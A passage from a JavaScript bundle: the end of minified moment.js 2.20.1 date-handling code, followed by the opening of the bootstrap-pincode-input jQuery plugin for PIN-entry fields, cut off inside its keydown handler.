0===(e=O(e))||"millisecond"===e?this:("date"===e&&(e="day"),this.startOf(e).add(1,"isoWeek"===e?"week":e).subtract(1,"ms"))},Dn.format=function(t){t||(t=this.isUtc()?e.defaultFormatUtc:e.defaultFormat);var n=H(this,t);return this.localeData().postformat(n)},Dn.from=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.fromNow=function(e){return this.from(pe(),e)},Dn.to=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.toNow=function(e){return this.to(pe(),e)},Dn.get=function(e){return e=O(e),S(this[e])?this[e]():this},Dn.invalidAt=function(){return d(this).overflow},Dn.isAfter=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},Dn.isBefore=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},Dn.isBetween=function(e,t,n,s){return("("===(s=s||"()")[0]?this.isAfter(e,n):!this.isBefore(e,n))&&(")"===s[1]?this.isBefore(t,n):!this.isAfter(t,n))},Dn.isSame=function(e,t){var n,s=_(e)?e:pe(e);return!(!this.isValid()||!s.isValid())&&("millisecond"===(t=O(t||"millisecond"))?this.valueOf()===s.valueOf():(n=s.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},Dn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},Dn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},Dn.isValid=function(){return h(this)},Dn.lang=gn,Dn.locale=Ce,Dn.localeData=Fe,Dn.max=dn,Dn.min=ln,Dn.parsingFlags=function(){return u({},d(this))},Dn.set=function(e,t){if("object"==typeof e)for(var n=function(e){var t=[];for(var n in e)t.push({unit:n,priority:it[n]});return t.sort(function(e,t){return e.priority-t.priority}),t}(e=T(e)),s=0;s<n.length;s++)this[n[s].unit](e[n[s].unit]);else if(e=O(e),S(this[e]))return this[e](t);return this},Dn.startOf=function(e){switch(e=O(e)){case"year":this.month(0);case"quarter":case"month":this.date(1);case"week":case"isoWeek":case"day":case"date":this.hours(0);case"hour":this.minutes(0);case"minute":this.seconds(0);case"second":this.milliseconds(0)}return"week"===e&&this.weekday(0),"isoWeek"===e&&this.isoWeekday(1),"quarter"===e&&this.month(3*Math.floor(this.month()/3)),this},Dn.subtract=yn,Dn.toArray=function(){return[this.year(),this.month(),this.date(),this.hour(),this.minute(),this.second(),this.millisecond()]},Dn.toObject=function(){return{years:this.year(),months:this.month(),date:this.date(),hours:this.hours(),minutes:this.minutes(),seconds:this.seconds(),milliseconds:this.milliseconds()}},Dn.toDate=function(){return new Date(this.valueOf())},Dn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?H(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):S(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this._d.valueOf()).toISOString().replace("Z",H(n,"Z")):H(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},Dn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e="moment",t="";this.isLocal()||(e=0===this.utcOffset()?"moment.utc":"moment.parseZone",t="Z");var n="["+e+'("]',s=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",i=t+'[")]';return this.format(n+s+"-MM-DD[T]HH:mm:ss.SSS"+i)},Dn.toJSON=function(){return this.isValid()?this.toISOString():null},Dn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},Dn.unix=function(){return Math.floor(this.valueOf()/1e3)},Dn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},Dn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},Dn.year=Lt,Dn.isLeapYear=function(){return E(this.year())},Dn.weekYear=function(e){return Le.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},Dn.isoWeekYear=function(e){return Le.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},Dn.quarter=Dn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},Dn.month=$,Dn.daysInMonth=function(){return Z(this.year(),this.month())},Dn.week=Dn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},Dn.isoWeek=Dn.isoWeeks=function(e){var t=X(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},Dn.weeksInYear=function(){var e=this.localeData()._week;return K(this.year(),e.dow,e.doy)},Dn.isoWeeksInYear=function(){return K(this.year(),1,4)},Dn.date=pn,Dn.day=Dn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},Dn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},Dn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},Dn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},Dn.hour=Dn.hours=Bt,Dn.minute=Dn.minutes=wn,Dn.second=Dn.seconds=vn,Dn.millisecond=Dn.milliseconds=Sn,Dn.utcOffset=function(t,n,s){var i,r=this._offset||0;if(!this.isValid())return null!=t?this:NaN;if(null!=t){if("string"==typeof t){if(null===(t=ke(Dt,t)))return this}else Math.abs(t)<16&&!s&&(t*=60);return!this._isUTC&&n&&(i=Oe(this)),this._offset=t,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==t&&(!n||this._changeInProgress?He(this,xe(t-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,e.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Oe(this)},Dn.utc=function(e){return this.utcOffset(0,e)},Dn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Oe(this),"m")),this},Dn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=ke(St,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},Dn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?pe(e).utcOffset():0,(this.utcOffset()-e)%60==0)},Dn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},Dn.isLocal=function(){return!!this.isValid()&&!this._isUTC},Dn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},Dn.isUtc=Te,Dn.isUTC=Te,Dn.zoneAbbr=function(){return this._isUTC?"UTC":""},Dn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},Dn.dates=v("dates accessor is deprecated. Use date instead.",pn),Dn.months=v("months accessor is deprecated. Use month instead",$),Dn.years=v("years accessor is deprecated. Use year instead",Lt),Dn.zone=v("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}),Dn.isDSTShifted=v("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var e={};if(f(e,this),(e=ye(e))._a){var t=e._isUTC?l(e._a):pe(e._a);this._isDSTShifted=this.isValid()&&p(e._a,t.toArray())>0}else this._isDSTShifted=!1;return this._isDSTShifted});var kn=k.prototype;kn.calendar=function(e,t,n){var s=this._calendar[e]||this._calendar.sameElse;return S(s)?s.call(t,n):s},kn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.replace(/MMMM|MM|DD|dddd/g,function(e){return e.slice(1)}),this._longDateFormat[e])},kn.invalidDate=function(){return this._invalidDate},kn.ordinal=function(e){return this._ordinal.replace("%d",e)},kn.preparse=Ge,kn.postformat=Ge,kn.relativeTime=function(e,t,n,s){var i=this._relativeTime[n];return S(i)?i(e,t,n,s):i.replace(/%d/i,e)},kn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return S(n)?n(t):n.replace(/%s/i,t)},kn.set=function(e){var t,n;for(n in e)S(t=e[n])?this[n]=t:this["_"+n]=t;this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},kn.months=function(e,n){return e?t(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||Nt).test(n)?"format":"standalone"][e.month()]:t(this._months)?this._months:this._months.standalone},kn.monthsShort=function(e,n){return e?t(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[Nt.test(n)?"format":"standalone"][e.month()]:t(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},kn.monthsParse=function(e,t,n){var s,i,r;if(this._monthsParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=l([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null}.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),s=0;s<12;s++){if(i=l([2e3,s]),n&&!this._longMonthsParse[s]&&(this._longMonthsParse[s]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[s]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[s]||(r="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[s]=new RegExp(r.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[s].test(e))return s;if(n&&"MMM"===t&&this._shortMonthsParse[s].test(e))return s;if(!n&&this._monthsParse[s].test(e))return s}},kn.monthsRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsStrictRegex:this._monthsRegex):(o(this,"_monthsRegex")||(this._monthsRegex=It),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},kn.monthsShortRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(o(this,"_monthsShortRegex")||(this._monthsShortRegex=Et),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},kn.week=function(e){return X(e,this._week.dow,this._week.doy).week},kn.firstDayOfYear=function(){return this._week.doy},kn.firstDayOfWeek=function(){return this._week.dow},kn.weekdays=function(e,n){return e?t(this._weekdays)?this._weekdays[e.day()]:this._weekdays[this._weekdays.isFormat.test(n)?"format":"standalone"][e.day()]:t(this._weekdays)?this._weekdays:this._weekdays.standalone},kn.weekdaysMin=function(e){return e?this._weekdaysMin[e.day()]:this._weekdaysMin},kn.weekdaysShort=function(e){return e?this._weekdaysShort[e.day()]:this._weekdaysShort},kn.weekdaysParse=function(e,t,n){var s,i,r;if(this._weekdaysParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=l([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null}.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),s=0;s<7;s++){if(i=l([2e3,1]).day(s),n&&!this._fullWeekdaysParse[s]&&(this._fullWeekdaysParse[s]=new RegExp("^"+this.weekdays(i,"").replace(".",".?")+"$","i"),this._shortWeekdaysParse[s]=new RegExp("^"+this.weekdaysShort(i,"").replace(".",".?")+"$","i"),this._minWeekdaysParse[s]=new RegExp("^"+this.weekdaysMin(i,"").replace(".",".?")+"$","i")),this._weekdaysParse[s]||(r="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[s]=new RegExp(r.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[s].test(e))return s;if(n&&"ddd"===t&&this._shortWeekdaysParse[s].test(e))return s;if(n&&"dd"===t&&this._minWeekdaysParse[s].test(e))return s;if(!n&&this._weekdaysParse[s].test(e))return s}},kn.weekdaysRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(o(this,"_weekdaysRegex")||(this._weekdaysRegex=zt),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},kn.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(o(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=$t),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},kn.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(o(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=qt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},kn.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},kn.meridiem=function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},ae("en",{dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===g(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),e.lang=v("moment.lang is deprecated. Use moment.locale instead.",ae),e.langData=v("moment.langData is deprecated. Use moment.localeData instead.",ue);var Yn=Math.abs,On=$e("ms"),Tn=$e("s"),xn=$e("m"),bn=$e("h"),Pn=$e("d"),Wn=$e("w"),Hn=$e("M"),Rn=$e("y"),Cn=qe("milliseconds"),Fn=qe("seconds"),Un=qe("minutes"),Ln=qe("hours"),Nn=qe("days"),Gn=qe("months"),Vn=qe("years"),En=Math.round,In={ss:44,s:45,m:45,h:22,d:26,M:11},An=Math.abs,jn=ve.prototype;return jn.isValid=function(){return this._isValid},jn.abs=function(){var e=this._data;return this._milliseconds=Yn(this._milliseconds),this._days=Yn(this._days),this._months=Yn(this._months),e.milliseconds=Yn(e.milliseconds),e.seconds=Yn(e.seconds),e.minutes=Yn(e.minutes),e.hours=Yn(e.hours),e.months=Yn(e.months),e.years=Yn(e.years),this},jn.add=function(e,t){return Ae(this,e,t,1)},jn.subtract=function(e,t){return Ae(this,e,t,-1)},jn.as=function(e){if(!this.isValid())return NaN;var t,n,s=this._milliseconds;if("month"===(e=O(e))||"year"===e)return t=this._days+s/864e5,n=this._months+Ze(t),"month"===e?n:n/12;switch(t=this._days+Math.round(ze(this._months)),e){case"week":return t/7+s/6048e5;case"day":return t+s/864e5;case"hour":return 24*t+s/36e5;case"minute":return 1440*t+s/6e4;case"second":return 86400*t+s/1e3;case"millisecond":return Math.floor(864e5*t)+s;default:throw new Error("Unknown unit "+e)}},jn.asMilliseconds=On,jn.asSeconds=Tn,jn.asMinutes=xn,jn.asHours=bn,jn.asDays=Pn,jn.asWeeks=Wn,jn.asMonths=Hn,jn.asYears=Rn,jn.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*g(this._months/12):NaN},jn._bubble=function(){var e,t,n,s,i,r=this._milliseconds,a=this._days,o=this._months,u=this._data;return r>=0&&a>=0&&o>=0||r<=0&&a<=0&&o<=0||(r+=864e5*je(ze(o)+a),a=0,o=0),u.milliseconds=r%1e3,e=y(r/1e3),u.seconds=e%60,t=y(e/60),u.minutes=t%60,n=y(t/60),u.hours=n%24,a+=y(n/24),i=y(Ze(a)),o+=i,a-=je(ze(i)),s=y(o/12),o%=12,u.days=a,u.months=o,u.years=s,this},jn.clone=function(){return xe(this)},jn.get=function(e){return e=O(e),this.isValid()?this[e+"s"]():NaN},jn.milliseconds=Cn,jn.seconds=Fn,jn.minutes=Un,jn.hours=Ln,jn.days=Nn,jn.weeks=function(){return y(this.days()/7)},jn.months=Gn,jn.years=Vn,jn.humanize=function(e){if(!this.isValid())return this.localeData().invalidDate();var t=this.localeData(),n=function(e,t,n){var s=xe(e).abs(),i=En(s.as("s")),r=En(s.as("m")),a=En(s.as("h")),o=En(s.as("d")),u=En(s.as("M")),l=En(s.as("y")),d=i<=In.ss&&["s",i]||i<In.s&&["ss",i]||r<=1&&["m"]||r<In.m&&["mm",r]||a<=1&&["h"]||a<In.h&&["hh",a]||o<=1&&["d"]||o<In.d&&["dd",o]||u<=1&&["M"]||u<In.M&&["MM",u]||l<=1&&["y"]||["yy",l];return d[2]=t,d[3]=+e>0,d[4]=n,function(e,t,n,s,i){return i.relativeTime(t||1,!!n,e,s)}.apply(null,d)}(this,!e,t);return e&&(n=t.pastFuture(+this,n)),t.postformat(n)},jn.toISOString=Be,jn.toString=Be,jn.toJSON=Be,jn.locale=Ce,jn.localeData=Fe,jn.toIsoString=v("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Be),jn.lang=gn,P("X",0,0,"unix"),P("x",0,0,"valueOf"),C("x",Mt),C("X",/[+-]?\d+(\.\d{1,3})?/),L("X",function(e,t,n){n._d=new Date(1e3*parseFloat(e,10))}),L("x",function(e,t,n){n._d=new Date(g(e))}),e.version="2.20.1",function(e){Qe=e}(pe),e.fn=Dn,e.min=function(){return we("isBefore",[].slice.call(arguments,0))},e.max=function(){return we("isAfter",[].slice.call(arguments,0))},e.now=function(){return Date.now?Date.now():+new Date},e.utc=l,e.unix=function(e){return pe(1e3*e)},e.months=function(e,t){return Ee(e,t,"months")},e.isDate=r,e.locale=ae,e.invalid=c,e.duration=xe,e.isMoment=_,e.weekdays=function(e,t,n){return Ie(e,t,n,"weekdays")},e.parseZone=function(){return pe.apply(null,arguments).parseZone()},e.localeData=ue,e.isDuration=Me,e.monthsShort=function(e,t){return Ee(e,t,"monthsShort")},e.weekdaysMin=function(e,t,n){return Ie(e,t,n,"weekdaysMin")},e.defineLocale=oe,e.updateLocale=function(e,t){if(null!=t){var n,s,i=Qt;null!=(s=re(e))&&(i=s._config),(n=new k(t=D(i,t))).parentLocale=Xt[e],Xt[e]=n,ae(e)}else null!=Xt[e]&&(null!=Xt[e].parentLocale?Xt[e]=Xt[e].parentLocale:null!=Xt[e]&&delete Xt[e]);return Xt[e]},e.locales=function(){return nt(Xt)},e.weekdaysShort=function(e,t,n){return Ie(e,t,n,"weekdaysShort")},e.normalizeUnits=O,e.relativeTimeRounding=function(e){return void 0===e?En:"function"==typeof e&&(En=e,!0)},e.relativeTimeThreshold=function(e,t){return void 0!==In[e]&&(void 0===t?In[e]:(In[e]=t,"s"===e&&(In.ss=t-1),!0))},e.calendarFormat=function(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},e.prototype=Dn,e.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"YYYY-[W]WW",MONTH:"YYYY-MM"},e});
/* =========================================================
 * bootstrap-pincode-input.js
 *
 * =========================================================
 * Created by Ferry Kranenburg
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * ========================================================= */


;(function ( $, window, document, undefined ) {

	"use strict";


		// Create the defaults once
		var pluginName = "pincodeInput";
		var defaults = {
				placeholders:undefined,							// seperate with a " "(space) to set an placeholder for each input box
		    	inputs:4,									    // 4 input boxes = code of 4 digits long
		    	hidedigits:true,								// hide digits
		    	keydown : function(e){},
		    	change: function(input,value,inputnumber){		// callback on every input on change (keyup event)
		    		//input = the input textbox DOM element
		    		//value = the value entered by user (or removed)
		    		//inputnumber = the position of the input box (in touch mode we only have 1 big input box, so always 1 is returned here)
		    	},
		    	blur: function(value, e, errorElement){
		    		//value = the entered code
		    		//e = last keyup event
		    		//errorElement = error span next to to this, fill with html e.g. : $(errorElement).html("Code not correct");
		    	},
		        complete : function(value, e, errorElement){	// callback when all inputs are filled in (keyup event)
		    		//value = the entered code
		    		//e = last keyup event
		    		//errorElement = error span next to this, fill with html e.g. : $(errorElement).html("Code not correct");
		    	}
		    };

		// The actual plugin constructor
		function Plugin ( element, options ) {
				this.element = element;
				this.settings = $.extend( {}, defaults, options );
				this._defaults = defaults;
				this._name = pluginName;
				this.init();
		}

		// Avoid Plugin.prototype conflicts
		$.extend(Plugin.prototype, {
				init: function () {
					this.buildInputBoxes();
					
				},
		        updateOriginalInput:function(){
		        	var newValue = "";
		        	$('.pincode-input-text',this._container).each(function( index, value ) {
		        		newValue += $(value).val().toString();
		        	});
		        	$(this.element).val(newValue);
		        },
		        check: function(){
		        	var isComplete = true;
		        	var code = "";
		        	$('.pincode-input-text',this._container).each(function( index, value ) {
		        		code += $(value).val().toString();
		        		if(!$(value).val()){
		        			isComplete = false;
		        		}
		        	});

		        	if(this._isTouchDevice()){
		        		// check if single input has it all
		        		if(code.length == this.settings.inputs){
		        			return true;
		        		}
		        	}else{
		        		return isComplete;
		        	}
		        },
				buildInputBoxes: function () {
					this._container = $('<div />').addClass('pincode-input-container');

					
					
					var currentValue = [];
					var placeholders = [];
					var touchplaceholders = "";  //in touch mode we have just 1 big input box, and there is only 1 placeholder in this case
					
					if(this.settings.placeholders){
						placeholders = this.settings.placeholders.split(" ");
						touchplaceholders = this.settings.placeholders.replace(/ /g,"");
					}
					
					// If we do not hide digits, we need to include the current value of the input box
					// This will only work if the current value is not longer than the number of input boxes.
					if( this.settings.hidedigits == false && $(this.element).val() !=""){
						currentValue = $(this.element).val().split("");
					}

					// make sure this is the first password field here
					if(this.settings.hidedigits){
						this._pwcontainer = $('<div />').css("display", "none").appendTo(this._container);
						this._pwfield = $('<input>').attr({'type':'password','pattern': "[0-9]*", 'inputmode':"numeric",'id':'preventautofill','autocomplete':'off'}).appendTo(this._pwcontainer);
					}

					if(this._isTouchDevice()){
						// set main class
						$(this._container).addClass("touch");
						
						// For touch devices we build a html table directly under the pincode textbox. The textbox will become transparent
						// This table is used for styling only, it will display how many 'digits' the user should fill in.
						// With CSS letter-spacing we try to put every digit visually insize each table cell.
						
						var wrapper = $('<div />').addClass('touchwrapper touch'+this.settings.inputs).appendTo(this._container);
						var input = $('<input>').attr({'id':'pincode-input','type':'number','pattern': "[0-9]*", 'placeholder':touchplaceholders, 'inputmode':"numeric",'maxlength':this.settings.inputs,'autocomplete':'off', 'data-pin':'data-pin'}).addClass('form-control pincode-input-text conceal').appendTo(wrapper);
		        		
						var touchtable = $('<table>').addClass('touchtable').appendTo(wrapper);
						var row = $('<tr/>').appendTo(touchtable);
						// create touch background elements (for showing user how many digits must be entered)
						for (var i = 0; i <  this.settings.inputs; i++) {
							if(i == (this.settings.inputs-1)){
								$('<td/>').addClass('last').appendTo(row);
							}else{
								$('<td/>').appendTo(row);
							}							
						}						
						if(this.settings.hidedigits){
							// hide digits
		        			input.attr('type','tel');
		        		}else{
							// show digits, also include default value
							input.val(currentValue[i]);
						}

		        		// add events
		        		this._addEventsToInput(input,1);

					}else{
						// for desktop mode we build one input for each digit
			        	for (var i = 0; i <  this.settings.inputs; i++) {

			        		var input = $('<input>').attr({'id':'pincode-input','type':'text','maxlength':"1",'autocomplete':'off','placeholder':(placeholders[i] ? placeholders[i] : undefined)}).addClass('form-control pincode-input-text conceal').appendTo(this._container);
			        		if(this.settings.hidedigits) {
										// hide digits
			        			input.attr('type','tel');
			        		}else{
								// show digits, also include default value
								input.val(currentValue[i]);
							}

			        		if(i==0){
			        			input.addClass('first');
			        		}else if(i==(this.settings.inputs-1)){
			        			input.addClass('last');
			        		}else{
			        			input.addClass('mid');
			        		}

			        		// add events
			        		this._addEventsToInput(input,(i+1));
			        	}
					}


		        	// error box
		        	this._error = $('<div />').addClass('text-danger pincode-input-error').appendTo(this._container);

		        	//hide original element and place this before it
		        	$(this.element).css( "display", "none" );
		            this._container.insertBefore(this.element);
				},
				enable:function(){
					 $('.pincode-input-text',this._container).each(function( index, value ) {
								$(value).prop('disabled', false);
					});
				},
				disable:function(){
					 $('.pincode-input-text',this._container).each(function( index, value ) {
								$(value).prop('disabled', true);
					});
				},
				focus:function(){
					$('.pincode-input-text',this._container).first().select().focus();
				},
				clear:function(){
					 $('.pincode-input-text',this._container).each(function( index, value ) {
		         		$(value).val("");
		         	});
		         	this.updateOriginalInput();
				},
				_isTouchDevice:function(){
					// I know, sniffing is a really bad idea, but it works 99% of the times
					if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) {
					 	return true;
					}
				},
				_addEventsToInput:function(input,inputnumber){
					input.on('click', function (e) {
						var that = this;
						setTimeout(function(){ that.selectionStart = that.selectionEnd = 10000; }, 0);
					});
						

	        		//input.on('focus',function(e){
	        		//	//this.select();  //automatically select current value
	        		//});
	        		
	        		input.on('cut copy paste',function(e){
	        			e.preventDefault();
	        			e.stopPropagation();
	        		});

	        		input.on('blur', $.proxy(function(e){
	        			this.settings.blur($(this.e).val(), e, this._error);

						//Validate if the pin is empty or less than 4 digits.
						if (formHelper.isEmpty($(this.element).val())) {
							formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers');
							return false;
						} else if($(this.element).val().length < this.settings.inputs){
							formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers');
							return false;
						}else {
							formHelper.clearError($(e.currentTarget));
							return true;
						}
						
			        },this));
	        		
	        		input.on('keydown', $.proxy(function(e){
							if(this._pwfield){
								// Because we need to prevent password saving by browser
								// remove the value here and change the type!
								// we do this every time the user types
								$(this._pwfield).attr({'type':'text'});
								$(this._pwfield).val("");
							}

							// prevent more input for touch device (we can't limit it)
							if(this._isTouchDevice()){
								if(e.keyCode  == 8 || e.keyCode  == 46){
									// do nothing on backspace and delete
									
								}else{
									//console.log("$(this.element).val().length" + $(this.element).val().length);
									//console.log("this.settings.inputs" + this.settings.inputs);
									if($(this.element).val().length == this.settings.inputs){
										e.preventDefault();
									    e.stopPropagation();
									}
								}
						
							}else{
								// in desktop mode, check if an number was entered
								
								if( !(e.keyCode == 8                                // backspace key
										|| e.keyCode == 9							// tab key
								        || e.keyCode == 46                          // delete key
								        || (e.keyCode >= 48 && e.keyCode <= 57)     // numbers on keyboard
								        || (e.keyCode >= 96 && e.keyCode <= 105))   // number on keypad
								        ) {
